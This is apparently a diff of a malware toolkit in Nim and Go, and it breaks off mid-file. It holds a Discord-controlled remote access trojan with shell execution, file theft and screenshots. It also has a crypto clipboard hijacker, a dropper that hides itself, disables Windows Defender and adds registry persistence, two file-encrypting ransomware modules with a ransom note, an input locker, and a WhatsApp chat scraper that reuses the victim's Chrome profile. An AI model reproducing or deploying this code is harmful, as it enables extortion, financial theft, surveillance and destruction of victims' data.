let fileName = attachment.filename
|
||||
try:
|
||||
let fileData = client.getContent(downloadUrl)
|
||||
let savePath = os.joinPath(currentDir, fileName)
|
||||
writeFile(savePath, fileData)
|
||||
return "downloaded file to " & savePath
|
||||
except CatchableError as e:
|
||||
return "failed to download file: " & e.msg
|
||||
|
||||
elif cmd.startsWith("!download "):
|
||||
let fileName = cmd[10..^1].strip()
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
if fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
return "download successful"
|
||||
else:
|
||||
return "file not found: " & filePath
|
||||
|
||||
elif cmd.startsWith("!mkdir "):
|
||||
let dirName = cmd[7..^1].strip()
|
||||
let dirPath = os.joinPath(currentDir, dirName)
|
||||
try:
|
||||
createDir(dirPath)
|
||||
return "created directory: " & dirPath
|
||||
except CatchableError as e:
|
||||
return e.msg
|
||||
|
||||
elif cmd.startsWith("!touch "):
|
||||
let fileName = cmd[7..^1].strip()
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
try:
|
||||
writeFile(filePath, "")
|
||||
return "created file: " & filePath
|
||||
except CatchableError as e:
|
||||
return e.msg
|
||||
|
||||
elif cmd.startsWith("!rm "):
|
||||
let target = cmd[4..^1].strip()
|
||||
let path = os.joinPath(currentDir, target)
|
||||
if fileExists(path):
|
||||
try:
|
||||
removeFile(path)
|
||||
return "Deleted file: " & path
|
||||
except CatchableError as e:
|
||||
return e.msg
|
||||
elif dirExists(path):
|
||||
try:
|
||||
removeDir(path)
|
||||
return "deleted directory: " & path
|
||||
except CatchableError as e:
|
||||
return e.msg
|
||||
else:
|
||||
return "no such file or directory: " & path
|
||||
|
||||
elif cmd == "!screencapture":
|
||||
when defined(macosx):
|
||||
let fileName = "screenshot_" & $now().toTime().toUnix() & ".jpg"
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
let (output, exitCode) = execCmdEx("screencapture -x " & filePath)
|
||||
if exitCode == 0 and fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
return "screenshot taken and sent!"
|
||||
else:
|
||||
return "failed to take screenshot: " & output
|
||||
elif defined(windows):
|
||||
let fileName = "screenshot_" & $now().toTime().toUnix() & ".png"
|
||||
let filePath = os.joinPath(currentDir, fileName)
|
||||
let powershellScript = """
|
||||
Add-Type -AssemblyName System.Windows.Forms
|
||||
Add-Type -AssemblyName System.Drawing
|
||||
$bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
|
||||
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
|
||||
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
|
||||
$graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
|
||||
$bitmap.Save('%1', [System.Drawing.Imaging.ImageFormat]::Png)
|
||||
"""
|
||||
let command = "powershell -Command \"" & powershellScript.replace("%1", filePath.replace("\\", "\\\\")) & "\""
|
||||
let (output, exitCode) = execCmdEx(command)
|
||||
if exitCode == 0 and fileExists(filePath):
|
||||
await sendFile(m.channel_id, filePath, fileName)
|
||||
return "Screenshot taken and sent!"
|
||||
else:
|
||||
return "failed to take screenshot: " & output
|
||||
else:
|
||||
return "screencapture not supported on this platform."
|
||||
|
||||
else:
|
||||
try:
|
||||
when defined(macosx):
|
||||
let command = cmd[1..^1]
|
||||
return await runCommandWithTimeoutKill(command, 60000)
|
||||
elif defined(windows):
|
||||
let command = "cmd /c " & cmd[1..^1]
|
||||
return await runCommandWithTimeoutKill(command, 60000)
|
||||
else:
|
||||
return "unsupported platform for command execution."
|
||||
except CatchableError as e:
|
||||
return "error running command: " & e.msg
|
||||
|
||||
proc getHostname(): string =
|
||||
when defined(windows):
|
||||
let (output, exitCode) = execCmdEx("hostname")
|
||||
if exitCode == 0:
|
||||
return output.strip()
|
||||
else:
|
||||
return "unknown hostname"
|
||||
else:
|
||||
let (output, exitCode) = execCmdEx("hostname")
|
||||
if exitCode == 0:
|
||||
return output.strip()
|
||||
else:
|
||||
return "unknown hostname"
|
||||
|
||||
var machineName = getEnv("MACHINE_NAME", getHostname())
|
||||
|
||||
proc onReady(s: Shard, r: Ready) {.event(discord).} =
|
||||
when defined(windows):
|
||||
if not fileExists(cyrptoDllName):
|
||||
writeFile(cyrptoDllName, cyrptoDllData)
|
||||
if not fileExists(sslDllName):
|
||||
writeFile(sslDllName, sslDllData)
|
||||
|
||||
|
||||
let dm = await discord.api.createUserDm(creatorId)
|
||||
if machineName notin sessionRegistry:
|
||||
sessionRegistry.add(machineName)
|
||||
discard await discord.api.sendMessage(dm.id, machineName & " IS LIVE <3")
|
||||
|
||||
proc messageCreate(s: Shard, m: Message) {.event(discord).} =
|
||||
if m.author.bot: return
|
||||
|
||||
var client = newHttpClient()
|
||||
let content = m.content.strip()
|
||||
|
||||
if content == "!sessions":
|
||||
let sessionList = if sessionRegistry.len == 0: "no active sessions." else: sessionRegistry.join("\n")
|
||||
discard await sendMessage(m.channel_id, sessionList)
|
||||
return
|
||||
|
||||
if content.startsWith("!" & machineName & " "):
|
||||
let cmd = content[(machineName.len + 2)..^1].strip()
|
||||
echo cmd
|
||||
try:
|
||||
let output = await handleCommand(cmd, m, client)
|
||||
discard await sendMessage(m.channel_id, output)
|
||||
except CatchableError as e:
|
||||
discard await sendMessage(m.channel_id, e.msg)
|
||||
return
|
||||
|
||||
if content == "!ping":
|
||||
let before = epochTime() * 1000
|
||||
let msg = await discord.api.sendMessage(m.channel_id, "ping?")
|
||||
let after = epochTime() * 1000
|
||||
discard await discord.api.editMessage(m.channel_id, msg.id, "pong! took " & $int(after - before) & "ms | " & $s.latency() & "ms.")
|
||||
|
||||
proc main() =
|
||||
when isMainModule:
|
||||
waitFor discord.startSession()
|
||||
else:
|
||||
discard
|
||||
@ -1,87 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"time"
|
||||
|
||||
"github.com/atotto/clipboard"
|
||||
)
|
||||
|
||||
const (
|
||||
predefinedBitcoinAddress = "1BitcoinPredefinedAddressExample1234"
|
||||
predefinedEthereumAddress = "0xEthereumPredefinedAddress1234567890abcdef"
|
||||
predefinedBEP20Address = "0xBEP20PredefinedAddress1234567890abcdef"
|
||||
predefinedSolanaAddress = "So1anaPredefinedAddressExample1234567890"
|
||||
)
|
||||
|
||||
func isValidBitcoinAddress(address string) bool {
|
||||
btcRegex := regexp.MustCompile(`^[13bc1][a-km-zA-HJ-NP-Z1-9]{25,34}$`)
|
||||
return btcRegex.MatchString(address)
|
||||
}
|
||||
|
||||
func isValidEthereumAddress(address string) bool {
|
||||
ethRegex := regexp.MustCompile(`^0x[a-fA-F0-9]{40}$`)
|
||||
return ethRegex.MatchString(address)
|
||||
}
|
||||
|
||||
func isValidBEP20Address(address string) bool {
|
||||
return isValidEthereumAddress(address)
|
||||
}
|
||||
|
||||
func isValidSolanaAddress(address string) bool {
|
||||
solRegex := regexp.MustCompile(`^[1-9A-HJ-NP-Za-km-z]{32,44}$`)
|
||||
return solRegex.MatchString(address)
|
||||
}
|
||||
|
||||
func setClipboardContent(content string) error {
|
||||
return clipboard.WriteAll(content)
|
||||
}
|
||||
|
||||
func main() {
|
||||
initialContent, _ := clipboard.ReadAll()
|
||||
|
||||
for {
|
||||
content, err := clipboard.ReadAll()
|
||||
if err != nil {
|
||||
fmt.Println("Error reading clipboard:", err)
|
||||
break
|
||||
}
|
||||
|
||||
if content != initialContent {
|
||||
fmt.Printf("New address copied to clipboard: %s\n", content)
|
||||
|
||||
if isValidBitcoinAddress(content) {
|
||||
fmt.Println("This is a valid Bitcoin address.")
|
||||
setClipboardContent(predefinedBitcoinAddress)
|
||||
fmt.Println("Clipboard replaced with predefined Bitcoin address.")
|
||||
initialContent = predefinedBitcoinAddress
|
||||
continue
|
||||
} else if isValidEthereumAddress(content) {
|
||||
fmt.Println("This is a valid Ethereum address.")
|
||||
setClipboardContent(predefinedEthereumAddress)
|
||||
fmt.Println("Clipboard replaced with predefined Ethereum address.")
|
||||
initialContent = predefinedEthereumAddress
|
||||
continue
|
||||
} else if isValidBEP20Address(content) {
|
||||
fmt.Println("This is a valid BEP-20 address.")
|
||||
setClipboardContent(predefinedBEP20Address)
|
||||
fmt.Println("Clipboard replaced with predefined BEP-20 address.")
|
||||
initialContent = predefinedBEP20Address
|
||||
continue
|
||||
} else if isValidSolanaAddress(content) {
|
||||
fmt.Println("This is a valid Solana address.")
|
||||
setClipboardContent(predefinedSolanaAddress)
|
||||
fmt.Println("Clipboard replaced with predefined Solana address.")
|
||||
initialContent = predefinedSolanaAddress
|
||||
continue
|
||||
} else {
|
||||
fmt.Println("This is not a recognized wallet address.")
|
||||
}
|
||||
|
||||
initialContent = content
|
||||
}
|
||||
|
||||
time.Sleep(1 * time.Second)
|
||||
}
|
||||
}
|
||||
@ -1,67 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func copyFile(src, dst string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.Create(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return out.Close()
|
||||
}
|
||||
|
||||
func main() {
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
fmt.Println("APPDATA environment variable not found")
|
||||
return
|
||||
}
|
||||
hiddenFolder := filepath.Join(appdata, ".sysdata")
|
||||
err := os.MkdirAll(hiddenFolder, 0755)
|
||||
if err != nil {
|
||||
fmt.Println("Error creating hidden folder:", err)
|
||||
return
|
||||
}
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
fmt.Println("Error getting executable path:", err)
|
||||
return
|
||||
}
|
||||
targetExe := filepath.Join(hiddenFolder, "syshost.exe")
|
||||
err = copyFile(exePath, targetExe)
|
||||
if err != nil {
|
||||
fmt.Println("Error copying exe:", err)
|
||||
return
|
||||
}
|
||||
exec.Command("attrib", "+h", hiddenFolder).Run()
|
||||
exec.Command("attrib", "+h", targetExe).Run()
|
||||
exec.Command("powershell", "-Command", "Add-MpPreference -ExclusionPath '"+targetExe+"';").Run()
|
||||
startupName := "SysHostService"
|
||||
regCmd := exec.Command("powershell", "-Command", "Set-ItemProperty -Path 'HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name '"+startupName+"' -Value '"+targetExe+"'")
|
||||
regCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
|
||||
err = regCmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Error creating registry key:", err)
|
||||
}
|
||||
exec.Command("powershell", "-Command", "Set-MpPreference -DisableRealtimeMonitoring $true").Run()
|
||||
fmt.Println("Icepick payload executed.")
|
||||
}
|
||||
@ -1,72 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func main() {
|
||||
homeDir, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
fmt.Println("Error getting home directory:", err)
|
||||
return
|
||||
}
|
||||
desktopPath := filepath.Join(homeDir, "Desktop")
|
||||
err = filepath.WalkDir(homeDir, func(path string, d fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
fmt.Println("Skipping path due to error:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
if d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if strings.HasSuffix(path, ".bartmoss") {
|
||||
return nil
|
||||
}
|
||||
content, err := ioutil.ReadFile(path)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping unreadable file:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
key := make([]byte, len(content))
|
||||
_, err = rand.Read(key)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping file due to rand error:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
encrypted := make([]byte, len(content))
|
||||
for i := 0; i < len(content); i++ {
|
||||
encrypted[i] = content[i] ^ key[i]
|
||||
}
|
||||
err = ioutil.WriteFile(path, encrypted, 0644)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping unwritable file:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
dir := filepath.Dir(path)
|
||||
base := filepath.Base(path)
|
||||
nwe := strings.TrimSuffix(base, filepath.Ext(base))
|
||||
nn := nwe + ".bartmoss"
|
||||
np := filepath.Join(dir, nn)
|
||||
err = os.Rename(path, np)
|
||||
if err != nil {
|
||||
fmt.Println("Skipping unrenamable file:", path, "error:", err)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
fmt.Println("Error walking the path:", err)
|
||||
}
|
||||
filePath := filepath.Join(desktopPath, "README.txt")
|
||||
message := "YOUR NOTE HERE\n"
|
||||
err = os.WriteFile(filePath, []byte(message), 0644)
|
||||
if err != nil {
|
||||
fmt.Println("Error writing file:", err)
|
||||
}
|
||||
}
|
||||
160
MODULE/krash.nim
Normal file
@ -0,0 +1,160 @@
|
||||
import os, nimcrypto, strutils
|
||||
|
||||
const defaultHtml = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>YOUR FILES HAVE BEEN ENCRYPTED</title>
|
||||
<script src="https://cdn.tailwindcss.com"></script>
|
||||
</head>
|
||||
<body class="bg-red-800 text-white flex items-center justify-center h-screen">
|
||||
<div class="flex w-full max-w-6xl h-4/5">
|
||||
<div class="w-2/5 h-full flex items-center justify-center">
|
||||
<img src="https://static.vecteezy.com/system/resources/previews/024/212/248/non_2x/ai-generated-sticker-anime-girl-blue-and-red-hair-png.png" alt="Anime Girl" class="h-full object-contain">
|
||||
</div>
|
||||
|
||||
<div class="w-3/5 flex items-center justify-center p-8 bg-red-900">
|
||||
<div class="text-center max-w-2xl">
|
||||
<h1 class="text-4xl font-bold mb-6">YOUR FILES HAVE BEEN ENCRYPTED</h1>
|
||||
<div id="timer" class="text-6xl font-mono mb-8 bg-black p-4 rounded">01:00:00</div>
|
||||
|
||||
<div class="text-left mb-8">
|
||||
<p class="mb-4">All your files have been encrypted with military grade encryption.</p>
|
||||
<p class="mb-4">To decrypt your files, download the Session app from the play store or app store and contact us on the following id</p>
|
||||
<p class="font-mono text-yellow-300 text-xl mb-4">05ebdea0623665a812a50659065edc8eb0d9e8594553b1180fa04cec9408390f31</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<body>
|
||||
<script>
|
||||
const countdownEndTime = Date.now() + (60 * 60 * 1000);
|
||||
const timerDisplay = document.getElementById('timer');
|
||||
function updateTimer() {
|
||||
const now = Date.now();
|
||||
const distance = countdownEndTime - now;
|
||||
if (distance < 0) {
|
||||
timerDisplay.innerHTML = "EXPIRED";
|
||||
clearInterval(countdownInterval);
|
||||
return;
|
||||
}
|
||||
const hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
|
||||
const minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
|
||||
const seconds = Math.floor((distance % (1000 * 60)) / 1000);
|
||||
const format = (num) => num.toString().padStart(2, '0');
|
||||
timerDisplay.innerHTML = `${format(hours)}:${format(minutes)}:${format(seconds)}`;
|
||||
}
|
||||
updateTimer();
|
||||
const countdownInterval = setInterval(updateTimer, 1000);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
proc processFile(file: string, key: string, iv: string, extension: string) =
|
||||
try:
|
||||
if fileExists(file) and not file.endsWith(extension) and not file.contains("ransom.html"):
|
||||
let content = readFile(file)
|
||||
var ctx: CTR[aes256]
|
||||
ctx.init(key, iv)
|
||||
var cryptContent = newString(content.len)
|
||||
ctx.encrypt(content, cryptContent)
|
||||
ctx.clear()
|
||||
let newPath = file & extension
|
||||
writeFile(newPath, cryptContent)
|
||||
removeFile(file)
|
||||
echo "Encrypted: ", file
|
||||
except OSError as e:
|
||||
echo "Error processing file ", file, ": ", e.msg
|
||||
except Exception as e:
|
||||
echo "Unexpected error in file ", file, ": ", e.msg
|
||||
|
||||
proc decryptFile(file: string, key: string, iv: string, extension: string) =
|
||||
try:
|
||||
if fileExists(file) and file.endsWith(extension):
|
||||
let content = readFile(file)
|
||||
var ctx: CTR[aes256]
|
||||
ctx.init(key, iv)
|
||||
var decryptContent = newString(content.len)
|
||||
ctx.encrypt(content, decryptContent)
|
||||
ctx.clear()
|
||||
let originalPath = file.substr(0, file.len - extension.len)
|
||||
writeFile(originalPath, decryptContent)
|
||||
removeFile(file)
|
||||
echo "Decrypted: ", originalPath
|
||||
except OSError as e:
|
||||
echo "Error decrypting file ", file, ": ", e.msg
|
||||
except Exception as e:
|
||||
echo "Unexpected error decrypting file ", file, ": ", e.msg
|
||||
|
||||
proc openInDefaultBrowser(filePath: string) =
|
||||
var cmd = ""
|
||||
when defined(windows):
|
||||
cmd = "start"
|
||||
elif defined(macosx):
|
||||
cmd = "open"
|
||||
elif defined(linux):
|
||||
cmd = "xdg-open"
|
||||
else:
|
||||
raise newException(OSError, "Unsupported OS for opening browser")
|
||||
|
||||
try:
|
||||
let fullCmd = cmd & " \"" & filePath & "\""
|
||||
discard execShellCmd(fullCmd)
|
||||
echo "Opened ransom note in default browser: ", filePath
|
||||
except OSError as e:
|
||||
echo "Error opening browser: ", e.msg
|
||||
|
||||
proc main() =
|
||||
when defined(decrypt):
|
||||
const decryptMode = true
|
||||
else:
|
||||
const decryptMode = false
|
||||
|
||||
const key = "0123456789abcdef0123456789abcdef"
|
||||
const iv = "abcdef9876543210"
|
||||
const extension = ".locked"
|
||||
var htmlContent = defaultHtml
|
||||
|
||||
let targetDir = getHomeDir() / "Documents"
|
||||
let desktop = getHomeDir() / "Desktop"
|
||||
var files = newSeq[string]()
|
||||
|
||||
var root: string
|
||||
when defined(windows):
|
||||
root = getEnv("SystemDrive") & "\\"
|
||||
else:
|
||||
root = "/"
|
||||
|
||||
|
||||
if decryptMode:
|
||||
echo "Starting decryption..."
|
||||
for dir in [root, desktop]:
|
||||
for file in walkDirRec(dir):
|
||||
if file.endsWith(extension):
|
||||
files.add(file)
|
||||
|
||||
echo "Found ", files.len, " files to decrypt."
|
||||
for file in files:
|
||||
decryptFile(file, key, iv, extension)
|
||||
echo "Decryption complete."
|
||||
else:
|
||||
echo "Starting encryption..."
|
||||
for dir in [targetDir, desktop]:
|
||||
for file in walkDirRec(dir):
|
||||
if fileExists(file) and not file.endsWith(extension) and not file.contains("ransom.html"):
|
||||
files.add(file)
|
||||
|
||||
echo "Found ", files.len, " files to encrypt."
|
||||
for file in files:
|
||||
processFile(file, key, iv, extension)
|
||||
|
||||
let ransomFile = joinPath(desktop, "ransom.html")
|
||||
try:
|
||||
writeFile(ransomFile, htmlContent)
|
||||
openInDefaultBrowser(ransomFile)
|
||||
echo "Ransom note created at ", ransomFile
|
||||
except OSError as e:
|
||||
echo "Error creating or opening ransom note: ", e.msg
|
||||
|
||||
when not isMainModule:
|
||||
discard
|
||||
@ -1,22 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func main() {
|
||||
user32 := syscall.NewLazyDLL("user32.dll")
|
||||
blockInput := user32.NewProc("BlockInput")
|
||||
r, _, err := blockInput.Call(1)
|
||||
if r == 0 {
|
||||
fmt.Println("Failed to block input:", err)
|
||||
return
|
||||
}
|
||||
fmt.Println("Keyboard and mouse input blocked. Press Ctrl+Alt+Del to unlock (if possible).")
|
||||
for {
|
||||
time.Sleep(10 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,321 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
"github.com/go-rod/rod"
|
||||
"github.com/go-rod/rod/lib/launcher"
|
||||
"github.com/go-rod/rod/lib/proto"
|
||||
)
|
||||
|
||||
func getDefaultProfileDir() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default")
|
||||
case "darwin":
|
||||
return filepath.Join(home, "Library", "Application Support", "Google", "Chrome", "Default")
|
||||
case "linux":
|
||||
return filepath.Join(home, ".config", "google-chrome", "Default")
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func killChromeProcesses() {
|
||||
fmt.Println("Killing existing Chrome processes...")
|
||||
|
||||
var cmd *exec.Cmd
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("taskkill", "/F", "/IM", "chrome.exe")
|
||||
case "darwin":
|
||||
cmd = exec.Command("pkill", "-f", "Google Chrome")
|
||||
case "linux":
|
||||
cmd = exec.Command("pkill", "-f", "google-chrome")
|
||||
default:
|
||||
fmt.Println("Unsupported OS for killing Chrome processes")
|
||||
return
|
||||
}
|
||||
|
||||
if cmd != nil {
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("No Chrome processes found or already killed")
|
||||
} else {
|
||||
fmt.Println("Chrome processes killed successfully")
|
||||
}
|
||||
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
killChromeProcesses()
|
||||
|
||||
profileDir := getDefaultProfileDir()
|
||||
if profileDir == "" {
|
||||
fmt.Println("Unsupported OS or could not determine profile directory.")
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(profileDir); err != nil {
|
||||
fmt.Printf("Default Chrome profile not found at: %s\n", profileDir)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("Using Chrome profile: %s\n", profileDir)
|
||||
|
||||
u := launcher.New().
|
||||
UserDataDir(filepath.Dir(profileDir)).
|
||||
Set("profile-directory", "Default").
|
||||
Headless(true).
|
||||
Leakless(false).
|
||||
Set("disable-web-security", "false").
|
||||
Set("disable-features", "TranslateUI").
|
||||
Set("no-first-run", "true").
|
||||
Set("no-default-browser-check", "true").
|
||||
Set("disable-background-timer-throttling", "true").
|
||||
Set("disable-backgrounding-occluded-windows", "true").
|
||||
Set("disable-renderer-backgrounding", "true").
|
||||
Set("disable-ipc-flooding-protection", "true").
|
||||
Set("disable-hang-monitor", "true").
|
||||
Set("disable-prompt-on-repost", "true").
|
||||
Set("disable-domain-reliability", "true").
|
||||
Set("disable-component-extensions-with-background-pages", "true").
|
||||
Set("disable-background-mode", "true").
|
||||
Set("disable-sync", "true").
|
||||
Set("disable-translate", "true").
|
||||
Set("disable-default-apps", "true").
|
||||
Set("disable-extensions", "true").
|
||||
Set("disable-background-networking", "true").
|
||||
Set("mute-audio", "true").
|
||||
Set("safebrowsing-disable-auto-update", "true").
|
||||
Set("disable-popup-blocking", "true").
|
||||
Set("disable-notifications", "true").
|
||||
Set("disable-single-process", "true").
|
||||
Set("no-zygote", "true").
|
||||
Set("disable-dev-shm-usage", "true").
|
||||
Set("no-sandbox", "true").
|
||||
Set("disable-gpu", "true").
|
||||
Set("remote-debugging-port", "0").
|
||||
Set("window-size", "1920,1080").
|
||||
Set("start-maximized", "true").
|
||||
Set("new-window", "true").
|
||||
Set("new-process", "true").
|
||||
Set("no-reuse-windows", "true").
|
||||
Set("disable-background-apps", "true").
|
||||
MustLaunch()
|
||||
|
||||
browser := rod.New().ControlURL(u)
|
||||
if err := browser.Connect(); err != nil {
|
||||
fmt.Printf("Failed to connect to browser: %v\n", err)
|
||||
fmt.Println("Trying to launch a new Chrome instance...")
|
||||
|
||||
u2 := launcher.New().
|
||||
UserDataDir(filepath.Dir(profileDir)).
|
||||
Set("profile-directory", "Default").
|
||||
Headless(false).
|
||||
Leakless(false).
|
||||
Set("remote-debugging-port", "9222").
|
||||
Set("new-window", "true").
|
||||
Set("new-process", "true").
|
||||
Set("no-reuse-windows", "true").
|
||||
Set("disable-background-apps", "true").
|
||||
Set("no-sandbox", "true").
|
||||
Set("disable-gpu", "true").
|
||||
MustLaunch()
|
||||
|
||||
browser = rod.New().ControlURL(u2)
|
||||
if err := browser.Connect(); err != nil {
|
||||
fmt.Printf("Failed to connect to browser after retry: %v\n", err)
|
||||
fmt.Println("Please close all Chrome instances and try again.")
|
||||
return
|
||||
}
|
||||
}
|
||||
defer browser.MustClose()
|
||||
|
||||
page := browser.MustPage("https://web.whatsapp.com")
|
||||
fmt.Println("Waiting for WhatsApp Web to load...")
|
||||
|
||||
qrSel := "canvas[aria-label='Scan me!']"
|
||||
chatListSel := "div[role='listitem']"
|
||||
loadTimeout := time.Now().Add(60 * time.Second)
|
||||
loggedIn := false
|
||||
for time.Now().Before(loadTimeout) {
|
||||
if page.MustHas(chatListSel) {
|
||||
loggedIn = true
|
||||
break
|
||||
}
|
||||
if page.MustHas(qrSel) {
|
||||
break
|
||||
}
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
|
||||
if !loggedIn {
|
||||
if page.MustHas(qrSel) {
|
||||
fmt.Println("WhatsApp Web is not logged in. Please scan the QR code in the opened browser window.")
|
||||
} else {
|
||||
fmt.Println("Could not detect WhatsApp Web login or chat list. Please check manually.")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println("Logged in! Extracting chat names and messages...")
|
||||
chats, err := page.Elements(chatListSel)
|
||||
if err != nil || len(chats) == 0 {
|
||||
fmt.Println("No chats found or error extracting chats.")
|
||||
return
|
||||
}
|
||||
|
||||
maxChats := len(chats)
|
||||
|
||||
processedChats := make(map[string]bool)
|
||||
chatProcessTimeout := time.Now().Add(300 * time.Second)
|
||||
|
||||
for i := 0; i < maxChats && time.Now().Before(chatProcessTimeout); i++ {
|
||||
chatName, _ := chats[i].Text()
|
||||
if chatName == "" || processedChats[chatName] {
|
||||
continue
|
||||
}
|
||||
processedChats[chatName] = true
|
||||
|
||||
fmt.Printf("\n=== Chat %d: %s ===\n", i+1, chatName)
|
||||
|
||||
clickErr := chats[i].Click(proto.InputMouseButtonLeft, 1)
|
||||
if clickErr != nil {
|
||||
fmt.Printf("Failed to click on chat %s: %v\n", chatName, clickErr)
|
||||
continue
|
||||
}
|
||||
|
||||
time.Sleep(3 * time.Second)
|
||||
|
||||
fmt.Printf("Waiting for messages in chat: %s...\n", chatName)
|
||||
|
||||
messageTimeout := time.Now().Add(20 * time.Second)
|
||||
messagesFound := false
|
||||
var messages []*rod.Element
|
||||
|
||||
for time.Now().Before(messageTimeout) {
|
||||
selectors := []string{
|
||||
"[data-testid='conversation-message']",
|
||||
".message-in",
|
||||
".message-out",
|
||||
"[data-testid='msg-meta']",
|
||||
".copyable-text",
|
||||
"[role='row']",
|
||||
}
|
||||
|
||||
for _, selector := range selectors {
|
||||
if page.MustHas(selector) {
|
||||
elements, err := page.Elements(selector)
|
||||
if err == nil && len(elements) > 0 {
|
||||
messages = elements
|
||||
messagesFound = true
|
||||
fmt.Printf("Found %d messages using selector: %s\n", len(elements), selector)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if messagesFound {
|
||||
break
|
||||
}
|
||||
|
||||
fmt.Printf("Still waiting for messages... (%d seconds remaining)\n", int(messageTimeout.Sub(time.Now()).Seconds()))
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
|
||||
if !messagesFound {
|
||||
fmt.Printf("No messages found in chat: %s after timeout\n", chatName)
|
||||
continue
|
||||
}
|
||||
|
||||
maxMessages := 5
|
||||
if len(messages) < maxMessages {
|
||||
maxMessages = len(messages)
|
||||
}
|
||||
|
||||
startIndex := len(messages) - maxMessages
|
||||
if startIndex < 0 {
|
||||
startIndex = 0
|
||||
}
|
||||
|
||||
fmt.Printf("Found %d messages, showing last %d:\n", len(messages), maxMessages)
|
||||
|
||||
messageProcessTimeout := time.Now().Add(15 * time.Second)
|
||||
processedCount := 0
|
||||
|
||||
for j := startIndex; j < len(messages) && time.Now().Before(messageProcessTimeout) && processedCount < maxMessages; j++ {
|
||||
message := messages[j]
|
||||
|
||||
classes, _ := message.Attribute("class")
|
||||
messageType := "MESSAGE"
|
||||
if classes != nil {
|
||||
if strings.Contains(*classes, "message-in") {
|
||||
messageType = "INCOMING"
|
||||
} else if strings.Contains(*classes, "message-out") {
|
||||
messageType = "OUTGOING"
|
||||
}
|
||||
}
|
||||
|
||||
text, textErr := message.Text()
|
||||
if textErr != nil || text == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if len(text) > 100 {
|
||||
text = text[:100] + "..."
|
||||
}
|
||||
|
||||
processedCount++
|
||||
|
||||
sender := chatName
|
||||
recipient := chatName
|
||||
|
||||
if messageType == "OUTGOING" {
|
||||
sender = "You"
|
||||
}
|
||||
|
||||
var typeColor, textColor string
|
||||
if messageType == "INCOMING" {
|
||||
typeColor = "\033[32m"
|
||||
textColor = "\033[37m"
|
||||
} else {
|
||||
typeColor = "\033[33m"
|
||||
textColor = "\033[37m"
|
||||
}
|
||||
resetColor := "\033[0m"
|
||||
|
||||
if messageType == "INCOMING" {
|
||||
fmt.Printf("%s[%s]%s %s%s%s → %s%s%s\n",
|
||||
typeColor, messageType, resetColor,
|
||||
"\033[36m", sender, resetColor,
|
||||
